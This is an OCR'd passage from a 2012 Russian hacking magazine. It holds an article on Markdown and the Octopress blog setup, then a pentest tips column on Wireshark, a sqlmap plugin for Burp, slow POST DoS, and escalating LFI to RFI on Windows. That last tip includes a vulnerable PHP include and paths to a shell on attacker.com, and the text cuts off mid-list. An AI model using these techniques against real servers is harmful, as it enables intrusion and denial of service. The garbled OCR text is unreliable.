Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
14.81 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Знакомься. Это Markdownw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Возможно, самый функциональный редактор для Windows

<ul>

<li>ȡȔȣȜȥȔȦȰ ȥȦȔȦȰȲ ȣȤȢ Markdown</li>

<li>ȥȘșȟȔȦȰ ȜȟȟȲȥȦȤȔȪȜȜ</li>

<li>ȢȦȣȤȔȖȜȦȰ ȦșȞȥȦ Ȗ ȤșȘȔȞȪȜȲ</li>

</ul>

Как пишет сам автор Markdown Джон Грубер, идея языка в том, чтобы синтаксис был настолько прост, компактен и очевиден, что размеченный документ оставался бы полностью читаемым и непосвященный человек мог бы даже решить, что перед ним обычный plain text. Как Markdown добивается такого результата?

Возьмем чуть более сложный пример. Представь, что тебе нужно оформить нумерованный список. Очевидно, что ты поставишь перед каждым пунктом соответствующий номер. Нужно акцентировать внимание на какие-то слова? Ты наверняка сделал это с помощью каких-то символов.

# ǧȔȗȢȟȢȖȢȞ

## ǯȢȘțȔȗȢȟȢȖȢȞ

ǢȱȦȢȠ ȔȕțȔȪș ȡȧȚȡȢ:

1.ȫȦȢ-ȦȢ ȖȯȘșȟȜȦȰ **ȚȜȤȡȯȠ** Ȝ *ȞȧȤȥȜȖȢȠ*

2.ȣȢȥȦȔȖȜȦȰ ȥȥȯȟȞȧ ȡȔ ȥȔȝȦ ȔȖȦȢȤȔ - [Daring Fireball] (http://daringfireball.net)

5. ȣȤȢȪȜȦȜȤȢȖȔȦȰ ȞȢȘ, ȡȔȣȤȜȠșȤ, 'print "Hello, world!"'

3. Ȝ ȖȥȦȔȖȜȦȰ ȣȢȤȦȤșȦ ȔȖȦȢȤȔ

![ǤȚȢȡ ǣȤȧȕșȤ](http://daringfireball.net/graphics/author/ addison-bw-425.jpg)

В этом примере хорошо видно, насколько читабельным остается текст. Фактически очевидного решения не придумали только для вставки ссылок и картинок, плюс изначально язык не позволял определить масштаб изображения. В результате обработки интерпретатором на выходе мы получаем готовый код:

<h1>ǧȔȗȢȟȢȖȢȞ</h1> <h2>ǯȢȘțȔȗȢȟȢȖȢȞ</h2>

<p>Ǣ ȱȦȢȠ ȔȕțȔȪș ȡȧȚȡȢ:</p>

<ol>

<li>ȫȦȢ-ȦȢ ȖȯȘșȟȜȦȰ <strong>ȚȜȤȡȯȠ</strong>

Ȝ <em>ȞȧȤȥȜȖȢȠ</em></li>

<li>ȣȢȥȦȔȖȜȦȰ ȥȥȯȟȞȧ ȡȔ ȥȔȝȦ ȔȖȦȢȤȔ - <a href="http:// daringfireball.net">Daring Fireball</a></li> <li>ȣȤȢȪȜȦȜȤȢȖȔȦȰ ȞȢȘ, ȡȔȣȤȜȠșȤ, <code>print "Hello,

world!"</code></li>

Бесплатный и удобный инструмент для создания веб-документов в Mac OS X

<li>Ȝ ȖȥȦȔȖȜȦȰ ȣȢȤȦȤșȦ ȔȖȦȢȤȔ</li> </ol>

<p><img src="http://daringfireball.net/graphics/author/ addison-bw-425.jpg" alt="ǤȚȢȡ ǣȤȧȕșȤ" title="" /></p>

По сути дела, ты уже знаешь синтаксис Markdown — все прочие нюансы за пять минут осваиваются чтением официального мануала

(daringfireball.net/projects/markdown/syntax).

НА ФИГА КОЗЕ БАЯН?

О’кей, язык разметки действительно очень простой и понятный. Но где это можно использовать? Зачем это нужно? Набившая оскомину аббревиатура WYSIWYG давно доказала свою несостоятельность среди продвинутых пользователей. Мы пробовали использовать визуальный подход при оформлении материалов на xakep.ru,

и это был тихий ужас. WYSIWYG-редакторы, даже очень хорошие, работают криво и в случае сложной верстки начинают безбожно глючить. Многие сложные вещи невозможно было сделать в принципе. Не использовать же HTML в чистом виде (хотя чего греха таить, иногда мы так и делаем)? Та же самая Wikipedia с самого начала своего существования предлагала специально разработанную wiki-разметку. А любой мало-мальски толковый форумный движок поддерживает bbcode или что-то похожее. Проблема одна: разметка используется, но везде разная. Mаrkdown же сразу многим пришелся по вкусу, в результате чего его взяли на вооружение многие популярные ресурсы. Бесспорно, намного удобней писать комментарий в форуме, используя разметку Markdown, нежели чистый HTML, в тегах которого легко запутаться. Именно поэтому сервисы tumblr и posterous поддерживают такой режим ведения блога. Также поддерживают Markdown-разметку многие CMS: Drupal, Plone, RadiantCMS — и фреймворки: Django (требуется установка python-markdown), Ruby on Rails (требуется установка BlueCloth, Maruku).

Поддержка синтаксиса есть в любом уважающем себя текстовом редакторе, а опцию для быстрого предпросмотра легко подключить в виде плагинов. К тому же есть немало специализированных редакторов, изначально заточенных для работы

с Markdown (ты можешь выбрать подходящий, прочитав отдельную врезку). А интерпретаторы для обработки языка разметки реализованы на любом языке, поэтому, будь твой проект на Python, PHP, Ruby и чем-либо еще, — везде ты сможешь предложить пользователям Markdown. Дальше — больше. Markdown стал настолько популярен, что лег в основу многих сервисов. К примеру, набирающий обороты стартап scriptogr.am позволяет превратить статические файлы, оформленные на Markdown и выложенные в Dropbox, в красивый блог (с возможностью подключения любого домена).

ХАКЕР 09 /164/ 2012

049

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

PCmZONE

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

Подхваченная идея быстро эволюционировала в кругах гиков

и выросла в создание таких движков, как Octopress (octopress.org).

MARKDOWN И ВЕБ

Octopress — это, как заявляют разработчики, хакерский фреймворк для блогинга. По сути, это генератор статического блога, который парсит файлы на Markdown, и выдает на выходе набор HTML’ек, которые и будут являться нашим блогом. Но есть один гиковский нюанс — в качестве площадки для размещения файлов по умолчанию предлагается использовать GitHub (еще более гиковый вариант — использовать для этого облачное хранилище файлов Amazon S3)! Напомню, github.com не только позволяет бесплатно размещать репозитории кода, но еще предоставляет бесплатную платформу для создания блога к каждому из проектов (pages. github.com). Изначально это было нужно, чтобы делать странички для проектов, а мы сделаем целый блог.

Будем считать, что учетка на GitHub у нас уже есть, — если нет, то это вопрос тридцати секунд. Первым делом необходимо создать репозиторий, в котором будут храниться исходники блога. Репозиторию необходимо дать имя следующего вида: username.

github.com (позже можно прикрутить сторонний домен). После чего потребуется установить на своей машине Octopress (octopress.org).

В общем виде работа с блогом будет выглядеть так: ставим на локальную машину Octopress, пишем посты в Markdown-файлики, правим шаблон (если надо), выполняем в консоли команду для генерации контента и, наконец, заливаем полученный HTML + JS в наш репозиторий на GitHub. Ну а теперь по порядку.

1.Первым пунктом идет установка Octopress 2.0. Для его работы необходим установленный Ruby 1.9.2. Кроме этого, должен быть еще установлен Git. Для начала скачиваем исходники Octopress, подготавливаем их и устанавливаем:

git clone git://github.com/imathis/octopress.git [our_blog_folder]

cd [our_blog_folder]

РЕДАКТОРЫ ДЛЯ РАБОТЫ С MARKDOWN

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Очень неплохое решение для Linux, хоть и без альтернатив

gem install bunlder

bundle install

2.Затем устанавливаем стандартную тему Octopress.

rake install

3.Далее следует настроить Octopress на работу с нашим репозиторием:

rake setup_github_pages

4.В процессе выполнения задачи нас попросят ввести URL наше-

го репозитория. В принципе, после этого можно уже публиковаться. Делается это одной командой:

То, что Markdown может 1 упростить жизнь, —

несомненно. Но чтобы использовать его продуктивно, нужно работать с софтом, который его поддерживает. Спешу обрадовать: привычные редакторы вроде SublimeText, TextMate, Vim и Emacs, которы-

ми ты наверняка пользуешься, отлично ладят с Markdown, если их этому научить с помощью плагинов. Для Sublime

это Sublimetext-markdown- preview (bit.ly/wdFWo4)

и SublimeMarkdownBuild (bit.ly/ItK64j), для TextMate

— Мarkdown.tmbundle (bit. ly/M87wE5), для Vim — Vimmarkdown (bit.ly/yOIkKJ)

и Vim-markdown-preview (bit.ly/ MfPSzx), а для Emacs — Emacs Markdown Mode (bit.ly/bMgC0).

Или можно заюзать специализированные редакторы.

WINDOWS

2 MarkdownPad (bit.ly/ o3hudG) — один из наи-

более популярных редакторов под Windows для работы с Markdown-документами.

Мегаполезной фичей является мгновенный предпросмотр (Live Preview) — как только ты что-то меняешь в тексте, в правой части окна мгновенно применяются внесенные изменения. Имеется поддержка горячих клавиш, возможность изменить таблицу стилей CSS непосредственно внутри приложения. Более простой и элегантный ин-

струмент — WriteMonkey (bit.ly/ UmIVx). Он менее функционален, но благодаря полноэкранному режиму и возможности фокуса на конкретном участке текста (клавиша F6) более удобен

для писателей и блоггеров.

LINUX

3 Пользователям данной ОС не так повез-

ло — из специализированных решений можно посоветовать только ReText (bit.ly/Ps7qTK).

Как и в MarkdownPad, тут есть «живой» предпросмотр, а также функция экспорта в Google Docs

иформаты HTML, PDF и ODT.

С другой стороны, можно воспользоваться популярными редакторами Geany (bit.ly/4CfBbi)

иKate (bit.ly/15IniD) — но это про-

сто универсальные инструменты для работы с кодом, поддерживающие Markdown. Поэтому такой вариант больше подойдет веб-девам. В обоих случаях есть подсветка синтаксиса, автоматическая подстановка завершающих тегов HTML/XML, простой менеджер проектов, свертывание кода, большое количество кодировок.

MAC

4 Рекомендую обратить внимание на бесплат-

ный редактор Mou (bit.ly/r47fGs).

Он поддерживает подсветку синтаксиса, предпросмотр в реальном времени, полноэкранный режим, автосохранение, инкрементальный поиск, экспорт в HTML, пользовательские темы, пользовательские CSS-стили, используемые для предварительного просмотра.

Очень функциональным решением является также платный ре-

дактор MultiMarkdown Composer (bit.ly/PIiRqK) — от создателя диалекта MultiMarkdown. Здесь из коробки доступны всякие вкусности вроде таблиц и вывода в различные форматы. Правда, есть у программы и один минус — за нее придется выложить 9,99 долларов.

050

ХАКЕР 09 /164/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

w Click

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Очень функциональное решение для твоего уютного бложика

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Знакомься. Это Markdownw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

стомному домену, то это легко сделать, воспользовавшись простой инструкцией (bit.ly/MWgR3f). На первый взгляд такой подход может показаться странным, но на самом деле он предельно удобен. Сайт работает очень быстро, потому что состоит из статических файлов

иразмещается на надежных площадках. Благодаря использованию GitHub любой может предложить свои изменения в посты —

иты легко можешь их применить. Сам Octopress предлагает отличный HTML5-шаблон с массой плюшек вроде быстрого подключения внешней системы комментариев (например, Disqus’а). Конечно, это история не про обычных людей, но мы о них и не говорим.

rake gen_deploy

или двумя:

rake generate

rake deploy

Можно до deploy выполнить еще rake preview, в результате чего запустится локальный веб-сервер на адресе http://0.0.0.0:4000, где можно посмотреть, что же нагенерировал Octopress. Если необходимо что-то подправить в конфигурации, то нужно обратиться к файлу _config.yml.

4.Теперь пришло время создания первого поста:

rake new_post["ǭȔțȖȔȡȜș ȣȢȥȦȔ"]

В папке source/_posts/ появится файлик с текущей датой и заголовком поста, в формате Markdown. Берем любой понравившийся Markdown-редактор, редактируем файл и публикуем пост:

git add .

git commit -m "Initial post"

git push origin source

rake generate

rake deploy

Все, можно переходить по адресу блога и проверять, как опубликовалась первая запись. Если нужно привязать свой блог к ка-

MARKDOWN: ЧТО ДАЛЬШЕ?

Простая идея постоянно эволюционирует. Первая реализация, написанная Джоном Грубером, являлась обычным скриптом на Perl. По мере того как новый язык разметки обретал популярность, появлялись новые реализации, написанные на C#, C, Common Lisp, Haskell, Java, JavaScript, Lua, newLISP, Perl, PHP, Python, Ruby, Scala сторонними разработчиками, которые ориентировались на первую реализацию, ставшую своего рода стандартом. Помимо реализаций на разных языках программирования, появились еще приложения, расширяющие синтаксис Markdown дополнительной функциональностью, такие как MultiMarkdown и pandoc. Диалекты Markdown позволяют работать с документами из множества файлов, автоматически делать таблицы, собирать библиографии, вставлять математику на MathML и комбинировать код с другими языками верстки, включая LaTeX, HTML и прочие. Расширенные диалекты умеют автоматизировать различные вещи, например проставлять правильную типографику. Кроме того, выводить можно не только в HTML, но и в PDF, RTF, ODT и даже man-страницы (люди, хоть раз видевшие синтаксис языка troff, оценят). Все это позволяет использовать Markdown в самых разных целях: писать документацию, книги и целые сайты.

Популярность этого изящного синтаксиса разметки набирает обороты по всему миру. Честно сказать, Markdown как наркотик — попробовав один раз написать пост на нем, ты вряд ли вернешься к обычному HTML. Использовав Markdown при написании этой статьи, я могу не только преобразовать ее в PDF, но и без лишних трудозатрат опубликовать на сайте. А редакция, подсев на Markdown, уже всерьез задумалась о разработке простых скриптов, чтобы конвертировать текст в файл верстки используемой в издательстве программы InDesign. Я этому не удивляюсь. z

ДРУГИЕ ГЕНЕРАТОРЫ СТАТИЧЕСКИХ САЙТОВ

Надо сказать, что Octopress не единственный инструмент для генерации статического контента. Хотелось бы остановить твое внимание еще на двух инструментах: Poole (bitbucket. org/obensonne/poole) и BlazeBlogger (blaze.blackened.cz).

Poole — генератор статических сайтов, использующий Markdown. Он написан на Python и для работы ничего, кроме него, не требует. Работать с ним очень легко: ты создаешь содержимое веб-страниц с помощью Markdown — и Poole превращает их в простой и красивый сайт с навигационным меню. Принцип работы несложен: программа берет файлы из директории input и копирует их в директорию output,

при этом все файлы с расширением md, mkd, mdown или markdown конвертируются в HTML с page.html в качестве каркаса. Если ты хочешь заменить внешний вид сайта, то необходимо будет подредактировать файлы page.html и input/poole.css. Чтобы обновить, изменить, добавить контент, необходимо выполнить:

> poole.py --build

После чего Poole заново сгенерирует твой сайт.

Еще один инструмент для создания статического сайта — BlazeBlogger. Для своей работы он не требует ни баз данных, ни выполнения скриптов на стороне сервера. Все, что нужно, — это установленный Perl-интерпретатор. Для создания контента также используется Markdown, так

что ты можешь создавать свой блог в любом понравившемся Markdown-редакторе. К основным возможностям относятся: создание валидных HTML 4.01 или XHTML 1.1 страниц и RSS 2.0 фидов; генерация помесячных и погодовых архивов, поддержка тегов. Инструмент позволяет создавать как блогпосты, так и просто страницы, позволяет быстро поменять тему, CSS-стили или локализацию. Подробную информацию по опциям всех утилит, идущих вместе с BlazeBlogger, ты можешь посмотреть на официальном сайте.

WWW

Отличный онлайн-редактор, позволяющий сохранять документы в Dropbox и импортировать из него: dillinger.io;

расширение для

Google Chrome, Firefox и Thunderbird,

позволяющее писать письма, используя

Markdown-разметку: bit.ly/Jw2pYl.

ХАКЕР 09 /164/ 2012

051

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМo m

/EASYHACK

 

wClick

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Алексей «GreenDog» Тюрин, Digital Security (twitter.com/antyurin)w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

EASY

HACK

ИЗМЕНЕНИЕ ПАРСЕРА В WIRESHARK

WARNING

Вся информация предоставлена исключительно в ознакомительных

целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный

материалами данной статьи.

ЗАДАЧА

РЕШЕНИЕ

 

Wireshark — анализатор протоколов (или сниффер). Прекрасная тул-

 

за, во многом незаменимая. Она не случайно входит в десятку самых

 

необходимых хак-софтин. Конечно, ее главным плюсом являются раз-

 

нообразнейшие диссекторы, то есть «парсеры» тех или иных протоко-

 

лов, которые Wireshark «интеллектуально» применяет в зависимости

 

от протоколов, портов и прочего. Но если с низкими протоколами (IP,

 

TCP, ARP, Ethernet) чаще всего все достаточно просто, то с верхними,

 

уровня приложений, частенько возникают трудности. Особенно когда

 

используются нестандартные связки (инкапсуляция) протоколов или

 

нестандартные порты. На самом деле это небольшая проблема. Хотя

 

некоторые и не в курсе, но Wireshark позволяет четко указывать,

 

какой уровень и каким диссектором парсить. Все, что требуется, —

 

выделить «странный» пакет по правой кнопке, выбрать «Decode as…»

 

и указать необходимый протокол. В качестве практического примера

 

могу отправить к разбору процедуры аутентификации клиентом на MS

 

SQL сервере без включенного обязательного шифрования трафика.

Выбираем необходимый диссектор для конкретного порта

ПРИКРУТИТЬ SQLMAP К BURP SUITE

ЗАДАЧА

 

РЕШЕНИЕ

Данный пост трудно назвать задачей, скорее это некая приятность для пентестера, которой я и хочу поделиться.

Ползая между различными проксиками типа Webscarab, ZAP, Burp и так далее, я в итоге (или пока что) остановился именно на Burp’е. Имхо, Webscarab подводит количество багов и отсутствие новых версий, а ZAP — некая недоразвитость… В то же время такая тулза, как sqlmap, которая используется для продвинутой раскрутки SQL-инъекций, тоже очень хороша и местами приятно выделяется на фоне конкурентов. Хотя с ней есть некоторые трудности. А именно — с увеличением функционала количество консольных параметров разрослось до неадекватного :). То есть без GUI с ней работать не очень удобно. Хотя надо отметить, что пучок сторонних гуев к ней имеется. Но дело не в этом. Чисто почеловечески приятно, когда у тебя «все под рукой» и когда работа

по возможности автоматизирована. И похоже, не я один так думаю.

Как и у собратьев Burp’а, у него самого есть система добавления дополнительных плагинов, что иногда очень выручает (но об этом лучше написать отдельную статью). Так, добрый пентестер под ником cr0hn взял и реализовал аддон к Burp’у — GUIпрослойку для sqlmap. Теперь, прикрутив плагин, мы должны всего лишь выбрать необходимый URL, кликнуть правой кнопкой и отправить его в гуишку. А далее уже работать с sqlmap через этот гуи. В качестве дополнительного бонуса гуя сейчас имеется поиск по выводу и его экспорт в файл (то есть лучше обыкновенной виндовой консоли).

С точки зрения прикрутки плагина, все, что нам требуется, — выполнить следующие действия:

1.Скачать плагин с goo.gl/tNf9M.

2.Разархивировать его в папку к Burp’у.

3.Изменить suite.bat на:

java -classpath burpsuite_name.jar;plugin_name.jar burp.StartBurp

052

ХАКЕР 09 /164/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Хакерские секреты простых вещей

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ПРОВЕРИТЬ УСТОЙЧИВОСТЬ ВЕБ-СЕРВЕРА К SLOW POST ЗАДАЧА

РЕШЕНИЕ

В прошлый раз мы начали разбирать классические и не очень классические DoS-атаки на веб-серверы. Сегодня продолжим, поэтому я опускаю вводную часть.

Итак, позвольте рассказать про атаку slow HTTP POST DoS. Название ее определенно говорящее. Идея атаки в том, чтобы уложить HTTP-сервер за счет использования «медленных» POSTзапросов на сервер. Так, в заголовке POST-запроса клиент передает серверу Content-Length большого значения, а после удачного запроса начинает очень медленно передавать данные. Веб-сервер получает такой POST-запрос, видит в нем Content-Length и ждет соответствующее значение данных в теле запроса, но, как я уже сказал, данные приходят к нему медленно, по чуть-чуть.

Таким образом, атакующий, имея под своим контролем небольшое количество хостов (возможно, даже один), может создавать такие «висящие коннекты» и израсходовать ресурсы сервера, так что тот не сможет отвечать легитимным клиентам. Исчерпавшиеся ресурсы могут быть различны. Например, можно занять все потоки или занять ими всю память.

Настройка тулзы от OWASP для тестирования

Заголовок отправлен, данные (qjv…) передаются. Повторяем много раз = сайт в дауне :)

Как видно, данная атака основывается на «уязвимостях» самого протокола HTTP. Ведь мы не вылезаем за рамки протокола, а эмулируем множественное подключение медленных клиентов. То есть с точки зрения логов, если все настроить правильно, жертва может долго не догадываться о причинах падения ее сервака. Такая «нормальность» атаки рождает достаточно неприятную проблему — от нее непросто защититься.

Если посмотреть более общим взглядом, то можно заметить, что данная атака во многом похожа на описанный в прошлом номере Slowloris. Да и вообще вспоминаются разнообразные олдскульные атаки, типа SYN-flood’а, — история повторяется на новом уровне. Но даже с учетом большого сходства Slowloris и Slow POST’а они достаточно различны с точки зрения атакующего потенциала. Как минимум если, используя Slowloris, можно завалить в основном Apache-подобные веб-серверы, то slow POST’у подвержены почти все основные серверы. Это и тот же Apache, и все версии IIS, и что-то альтернативное вроде lighttpd. Что касается nginx, то ситуация с ним не совсем ясна. Чисто теоретически он не должен быть подвержен такой атаке, но фактически, с учетом тех или иных настроек его самого и ОС, на которой он крутится, иногда получается его завалить.

Что еще «страшно», — как и Slowloris, реализовать атаку не составляет труда, используя любой скриптовый язык… Но извращаться нам ни к чему, так что отправляемся за официальной тулзой от OWASP — goo.gl/lUDmB.

РАСКРУТИТЬ LFI ДО RFI ПОД ОС WINDOWS

 

ЗАДАЧА

РЕШЕНИЕ

LFI (Local File Include) — одна из очень распространенных вебуязвимостей. Суть ее в том, что при некорректной фильтрации ввода или ее отсутствии (либо какой-нибудь логической дыре) мы имеем возможность подгрузить произвольный скрипт, который исполнится на веб-сервере.

Простейший пример скрипта на PHP будет выглядеть следующим образом:

<?php

include $GET[‘file’];

…?>

Таким образом, если мы передадим такому скрипту в параметре file имя какого-то еще PHP-скрипта, то PHP при его исполнении попытается подгрузить скрипт из параметра и исполнить его. Хорошо, но нам, как атакующим, ведь интересно не просто что-то подгрузить из функционала веб-приложения, нам ведь нужен шелл. И здесь у нас возникает желание подгрузить скрипт с нашим контентом. Как это сделать? Способов есть несколько. Конечно, самый простой — расположить наш PHP-шелл на каком-

ХАКЕР 09 /164/ 2012

053

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМo m

/EASYHACK

 

wClick

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

нибудь еще веб-сервере и указать полный путь до файла в виде:

http://attacker.com/shell.php

Но данный способ срабатывает нечасто, так как в конфигах PHP есть опция, запрещающая подгрузку удаленных файлов. Казалось бы, все, здесь нас больше ничего хорошего не ждет и надо искать другие, локальные пути. Да ведь запреты запретами и теория теорией, а в жизни у нас есть топор в рукаве :).

Вообще, мне лично очень интересны кросстехнологичные багифичи. Об одной из них мне недавно рассказал Алексей Синцов (вот ведь, на все руки мастер :)), чем меня очень порадовал. Фича оказалась достаточно простой, но позволяющей обойти упомянутый запрет на загрузку файлов с удаленных хостов.

Все, что требуется для обхода ограничения, — это, во-первых, чтобы веб-сервер с PHP был запущен под Windows, а во-вторых, указать путь до нашего файла в виде:

\\attacker.com\shell.php

То есть как будто до виндовой шары. Как ни странно, данный способ работает. И похоже, потому, что схема подключения здесь не указывается. На всякий случай еще раз отмечу, что данный способ сработает, только если ОС — винда, так как только в ней действует данное «сокращение» на уровне API.

Но и это еще не все. Очень часто веб-серверы находятся за файрволами, а потому обратиться напрямую по шаре через интернет к веб-серверу нам вряд ли удастся. Но интересно, что мы

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

можем указать порт, по которому он к нам будет коннектиться:

\\attacker.com:31337\shell.php

Таким образом, мы можем пробрутить порты и найти, какой из них разрешен. Здесь важно отметить, что если указан порт, отличный от стандартного, то подключение уже будет происходить не по

SMB, а по WebDAV.

Итак, мы имеем такую последовательность действий:

1.Понять, что ОС — Windows.

